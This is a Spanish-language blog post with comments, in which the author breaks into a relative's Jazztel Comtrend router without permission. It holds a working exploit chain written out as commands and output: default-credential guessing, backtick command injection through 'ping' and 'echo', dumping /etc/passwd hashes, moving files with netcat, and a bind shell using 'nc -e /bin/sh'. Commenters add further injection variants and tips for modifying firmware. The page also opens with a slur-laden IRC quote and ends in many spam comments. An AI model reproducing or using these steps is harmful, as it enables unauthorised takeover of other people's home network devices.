Random IRC quote :      <patowc> Estoy rodeado de maricones, mujeres, negros y vascos

Grasias por la WiFi primo!

EDIT: El router es un Comtrend AR-5381u distribuido por Jazztel

Nota: Esta es una historia real basada en hechos ficticios

Estaba un día trabajando en casa de mi primo y necesitaba acceso a la internet, por lo que obviamente le pedí la clave de la WiFi y de muy buena gana me la proporcionó, a lo cuál le agradecí su tan generoso gesto.

Para proseguir con mi actividad productiva necesitaba redirigir un puerto hacia mi máquina así que, dado que las cualidades técnicas de mi primo no van mas allá del facebook, decidí hacerlo sin preguntar y aquí comienza realmente la historia.

Me conecté al Router y comencé a probar las N combinaciones de cuentas de administrador que me conocía y alguna más que busqué por la web:

$ telnet 192.168.0.1
Trying 192.168.0.1…
Connected to 192.168.0.1.
Escape character is ‘^]’.
BCM96328 Broadband Router
Login: admin
Password:
Login incorrect. Try again.
Login: admin
Password:
Login incorrect. Try again.
Login: 1234
Password:
Authorization failed after trying 3 times!!!.

Sin resultado satisfactorio, me dirigí a mi primo con la oreja gacha herido en el orgullo hacker para preguntarle el usuario y contraseña, a lo cual me respondió con un “no se de que me hablas”. Perfecto, estaba apunto de arruinar un día entero de trabajo…

El siguiente paso fue intentar escalar privilegios desde una cuenta de usuario para consultar, por suerte éste router tenía la contraseña por defecto user/user habilitada, pero obviamente no permitía cambiar ningún parámetro, primero los pasos básicos para obtener shell de alguna manera:

$ telnet 192.168.0.1
Trying 192.168.0.1…
Connected to 192.168.0.1.
Escape character is ‘^]’.
BCM96328 Broadband Router
Login: user
Password:
 > ?
?
help
logout
exit
quit
reboot
dnsproxy
ping
lanhosts
passwd
restoredefault
save
swversion
uptime
cfgupdate
swupdate
exitOnIdle
wan
build
version
serialnumber
 > sh
telnetd:error:607.372:processInput:380:unrecognized command sh
 > version && sh
Warning: operator & is not supported!
A731-410JAZ-C05_R01.A2pD035g.d23i
 > version ; sh
Warning: operator ; is not supported!
A731-410JAZ-C05_R01.A2pD035g.d23i
 >

Vaya por dios, parece que se han tomado en serio la seguridad los que han hecho esta versión de firmware! Pensemos durante unos segundos qué más podríamos probar:

> `sh`
telnetd:error:790.629:processInput:380:unrecognized command `sh`
 > `echo`
telnetd:error:793.334:processInput:380:unrecognized command `echo`
 > ping `echo ls`
ping: ls: Unknown host
 >

Bingo! Parece que tenemos una manera de ejecutar comandos, sigamos jugando un poco más:

 > ping `ls`
ping: bin: Unknown host
 > ping `ls /`
ping: bin: Unknown host
 > ping `ls /etc`
ping: adsl: Unknown host
 > ping `ls /etc/passwd`
ping: /etc/passwd: Unknown host
 > ping `cat /etc/passwd`
ping: admin:XX.YUYYEYE.ER.s:0:0:Administrator:/:/bin/sh: Unknown host
 >

Perfecto, ya tenemos la clave de admin que era lo que necesitábamos; después de preguntar a nuestro amigo John pude redirigir el puerto que necesitaba. Pero ya quee no parece tener la shell disponible facilmente seguí un vistazo a ver qué podemos sacar desde la cuenta de admin.
Como se puede ver a continuación, tiene mucho más comandos, en concreto me llama la atención el comando echo:

$ telnet 192.168.0.1
Trying 192.168.0.1…
Connected to 192.168.0.1.
Escape character is ‘^]’.
BCM96328 Broadband Router
Login: admin
Password:
 > ?
?
help
logout
exit
quit
reboot
adsl
xdslctl
xtm
brctl
loglevel
logdest
virtualserver
ddns
df
dumpcfg
dumpmdm
meminfo
psp
kill
dumpsysinfo
dnsproxy
syslog
echo
ifconfig
ping
ps
pwd
sntp
sysinfo
tftp
wlctl
arp
defaultgateway
dhcpserver
dns
lan
lanhosts
passwd
ppp
restoredefault
route
save
swversion
uptime
cfgupdate
swupdate
exitOnIdle
wan
build
version
serialnumber
 > echo `ls /`
bin data dev etc lib linuxrc mnt opt proc sbin sys tmp usr var webs
 > echo `cat /etc/passwd`
admin:XX.YUYYEYE.ER.s:0:0:Administrator:/:/bin/sh support:XX.YUYYEYE.ER.s:0:0:Technical Support:/:/bin/sh user:XX.YUYYEYE.ER.s:0:0:Normal User:/:/bin/sh ftpuser:XX.YUYYEYE.ER.s:0:0:user for ftp:/:/bin/sh nobody:XX.YUYYEYE.ER.s:0:0:nobody for ftp:/:/bin/sh

 

Con el comando echo podemos ver la salida completa de los comandos ejecutados! Exploremos a ver que tiene este dispositivo:

 > echo `ls /usr/bin`
[ expr ftpget killall logger md5sum nc test tftp top tty wget
 >

Wow, hay un nc por ahí! Podremos usarlo para copiar ficheros dentro y fuera del mismo? Además tenemos un md5sum que nos viene perfecto para ver si la copia ha sido satisfactoria. Probemos con el binario /bin/httpd:

 > echo `ls /bin/httpd`
/bin/httpd
 > echo `/usr/bin/nc`
BusyBox v1.00 (2011.10.28-05:10+0000) multi-call binary

Usage: nc [OPTIONS] [IP] [port]

Netcat opens a pipe to IP:port

Options:
        -l              listen mode, for inbound connects
        -p PORT         local port number
        -i SECS         delay interval for lines sent
        -e PROG         program to exec after connect (dangerous!)

 > echo `cat /bin/httpd | /usr/bin/nc 192.168.0.8 3333`
 > echo `/usr/bin/md5sum /bin/httpd`
12b41761c640455b87038fb32f49334e /bin/httpd
 >

Comprobando en mi PC:

~/tmp$ nc -l 192.168.0.8 3333 > httpd
~/tmp$ md5sum httpd
12b41761c640455b87038fb32f49334e  httpd
~/tmp$

Funciona perfectamente! Probemos a enviar un fichero…

~/tmp$ cat | nc 192.168.0.1 3333
#!/bin/sh
echo "w00w00"
~/tmp$

Y en el router:

 > echo `/usr/bin/nc -l -p 3333 > /tmp/test.sh`

 > echo `sh /tmp/test.sh`
w00w00
 >

Ya que tenemos el nc y que andar ejecutando comando a golpe de echo es un poco coñazo, una reverse shell nos vendría de lujo! Let’s try it, primero ponemos a escuchar el nc en el router:

> echo `/usr/bin/nc -l -p 3333 -e /bin/sh`

Y después nos conectamos desde el PC:

~/tmp$ nc 192.168.0.1 3333
ls /
bin
data
dev
etc
lib
linuxrc
mnt
opt
proc
sbin
sys
tmp
usr
var
webs
ls /tmp
/tmp
cd /tmp
ls
bootupmessages
test.sh
cat test.sh
#!/bin/sh
echo "w00w00"

Yeah! Pues nada, ahí tenemos control total de manera remota y ya podemos seguir jugando más comodamente, aunque eso será para otra entrada en el blog!

No me sigas por la calle! Sígueme por el twitter http://www.twitter.com/gabrielgonzalez

34 Comentarios para “Grasias por la WiFi primo!” »»

  1. Comment por alkan | 05/02/12 at 2:14 pm

    Si tienes permisos de escritura actualiza busybox a otra versión más completa

    wget http://busybox.net/downloads/binaries/latest/busybox-mips

    Saludos!!

  2. Comment por pancake | 05/02/12 at 8:05 pm

    solo como nota.. los ‘ls’ seguramente te los podrias haber ahorrado usando un globmask (*).

    se te habrian cansado menos los dedos.. por el resto parece q pasaste una tarde entretenida :P

  3. Comment por Gabriel Gonzalez | 05/02/12 at 11:14 pm

    @alkan: Permisos de escritura como tal solo en /tmp que es tmpfs, ya que el resto es un squashfs. En cuanto al wget que viene sólo sirve para actualizar el firmware, nada de descargar ficheros. La única forma viable es através de nc, como he mostrado. Pero tienes razón, se podría seguir haciendo cosas :)

    @pancake: HOYGA, no entiendo entiendo bien lo de “ahorrar los ls”, ESPLIQESE PORFABOR

  4. Comment por juju666 | 05/02/12 at 11:44 pm

    Creo que también hubiera funcionado esto:

    for i in *
    do
    echo $i
    done

    En el mio me funcionó.

  5. Comment por pancake | 05/03/12 at 2:06 pm

    @ggonzalez me refiero a q es mas corto escribir “*” que “ls ./” :P

    @juju666 no hacen falta bucles. con un echo * ya listas el directorio.

    Más que actualizar el busybox yo crearia los symlinks a los bins q faltan ‘ln -fs busybox xxx’ ftw

  6. Comment por Gabriel Gonzalez | 05/04/12 at 2:06 pm

    @pancake: En este tipo de dispositivos lo normal es que el busybox no incluya más de los los binarios que proporciona, una simple llamada a busybox te da todos los comandos que soporta. Y éste, concretamente, no tiene mas chicha que la que se muestra ahi.

  7. Comment por Reaper | 05/04/12 at 9:10 pm

    Hay varias versiones de este firmware. No con todos los comandos puedes spawnear una shell.

    Por ejemplo, sysinfo && sh rula, passwd && sh también.

    http://foro.seguridadwireless.net/comunicados-y-noticias/fallo-de-seguridad-en-routers-comtrend-full-disclosure/

  8. Comment por TheSur | 05/05/12 at 11:22 am

    Muy chulo. ¿Probaste si te dejaba ejecutar comandos como $(ls)?

  9. Comment por cukz | 05/06/12 at 5:50 pm

    Yo usé:

    ping ; sh

    Y me deja en el interprete.

    Mis pruebas fueron en otra version del router comtrend.

    Saluds

  10. Comment por Gabriel Gonzalez | 05/07/12 at 11:38 am

    @cukz: En muchas versiones simplemente invocando sh te muestra la shell, pero ésta era curiosa porque han querido evitar que vayas más allá del intérprete de comandos.

  11. Comment por dudu | 05/08/12 at 12:57 am

    Buen post si señor! Esta gente no cambia, raro que tuvieras que pedir la WPA de la wifi. Porque son igual protegiendola.

  12. Comment por drey | 05/08/12 at 3:48 pm

    ping “`ls`” no te mostraba todo el output?

  13. Comment por elvecinoo | 05/10/12 at 4:16 am

    Estupéndo, pero también puedes crearte tu propio frimware, no hay más que trocearlo para separar cabezera, fs y kernel, decomprimir el fs (squashfs) para modificar lo que queramos o incluso añadirle “extras” y volver a reconstruirlo.

    La cabezera tiene un checksum de 2bytes fácilmente calculable.

    En mi página hay algo más de info.

    Bonito blog btw, congratulations.

  14. Comment por Gabriel Gonzalez | 05/14/12 at 6:37 am

    @Reaper: Con esta version concreta no funciona ninguno de los que comentas:

    > sysinfo && sh
    Warning: operator & is not supported!

    > passwd && sh
    Warning: operator & is not supported!
    Username:

  15. Comment por top resume writing services | 08/09/12 at 6:47 am

    I think he might be lying.. Is it even possible……..

  16. Comment por sell rolex watch | 08/20/12 at 2:02 pm

    I am really enjoying reading your well written articles. I think you spend numerous effort and time updating your blog……

  17. Comment por zapatillas | 08/25/12 at 1:29 pm

    It is important to choose right one since the first time. Thank you for the tips.
    Proper care will save money in long term.

  18. Comment por free book of ra | 09/22/12 at 7:26 am

    Another excellent example of innovation, I am happy to find it. There are so several developers working on this segment but this is one of the best innovative idea ever. Thanks for sharing it here.

  19. Comment por Antivirus | 09/26/12 at 12:34 pm

    Me he reído mucho cuando me has hecho que fuiste con la oreja gacha por tu órgullo de hacker jajajja.

  20. Comment por Adamgreg | 10/05/12 at 5:57 pm

    Bien hecho y gracias desde Inglaterra! Intento usar el router que me dío Jazztel con otra conexión, pero el interfaz web del router no me deja cambiar las claves de PPPoE. Con suerte ahora podré hacerlo directamente!

    Gracias!

  21. Comment por stargames spielgeld | 10/30/12 at 1:54 pm

    I have visited to this site many times and everytime I find valuable jobs for me so I would suggest please come to this site and take the

    chance from here.

  22. Comment por more | 12/18/12 at 10:40 am

    It was hard for me to understand the technical detailing into your WiFi settings and the overall idea is however successfully communicated. I found your story interesting and this sharing of network connections should be handled with care as it could reflect in the overall productivity.

  23. Comment por Sant Ritz | 01/20/13 at 10:00 am

    For vehicle owners, it takes less than 10 minutes to drive to the business hub and vibrant Orchard Road shopping district, via Pan Island Expressway (PIE) and Central Expressway (AYE).

    A wonderful and unique lifestyle awaits you. Please see Sant Ritz project details and floor plans for more information.

  24. Comment por Casino Contextual Links | 02/02/13 at 7:10 am

    Glad to chat your blog, I seem to be forward to more reliable articles and I believe we all wish to thank so many fine articles, blog to share with us.

  25. Comment por Twin Fountains Woodlands | 02/03/13 at 10:31 am

    Twin Fountains EC facilities provide full family entertainment needs for your family and loved ones. Indulge in a serene and tranquil lifestyle right in the heart of Woodlands.

  26. Comment por Martial Arts Myrtle Beach | 02/16/13 at 9:52 am

    I have explain a few of the articles on your website now, and I really like your style of blogging. I added it to my favorite’s blog site list and will be checking back soon…

  27. Comment por bag factory | 02/17/13 at 9:49 am

    ceso a la internet, por lo que obviamente le pedí la clave de la WiFi y de muy buena gana me la proporci

  28. Comment por Ang Mo Kio Cluster House | 03/23/13 at 10:48 am

    Belgravia Villas has full and unique facilities, which includes a guard house, clubhouse, children’s playground, swimming pool, Aerobic/Yoga room, piano room, pool room, indoor gym, hydrotherapy beds, hydrotherapy baths, reading room, function room, onsen, jacuzzi.

  29. Comment por termite | 03/30/13 at 1:24 pm

    I have to say that the information here was the most complete that I found anywhere. I am definitely bookmarking this to come back and express later.

  30. Comment por Keppel Bay Corals | 04/24/13 at 9:21 am

    Way cool! Some extremely valid points! I appreciate you penning this article and the rest of the site is also really good.

  31. Comment por toplevelseoconsultation.info | 04/30/13 at 8:39 am

    Another excellent example of innovation, I am happy to locate it. There are so many developers working on this segment but this is one of the best innovative idea ever. Thanks for sharing it here.

  32. Comment por www.pandalinkbuilders.info | 04/30/13 at 3:00 pm

    To write a such kind of article is really amazing,I daily read your blogs and give my announcement for that here this article is too great and so entertaining.

  33. Comment por linkexchangeforum.co.uk | 05/01/13 at 1:27 pm

    Nicely written information in this post, I prefer to read this kind of stuff. The quality of content is fine and the conclusion is fine.

  34. Comment por kirsten price female mind mastery | 05/09/13 at 6:37 pm

    Must appreciate the great posts you have written here, I was wondering how you could write down in details. I supposed you have deep passion on this issue ? Many thanks for the exciting blog posting

Dejar un comentario »»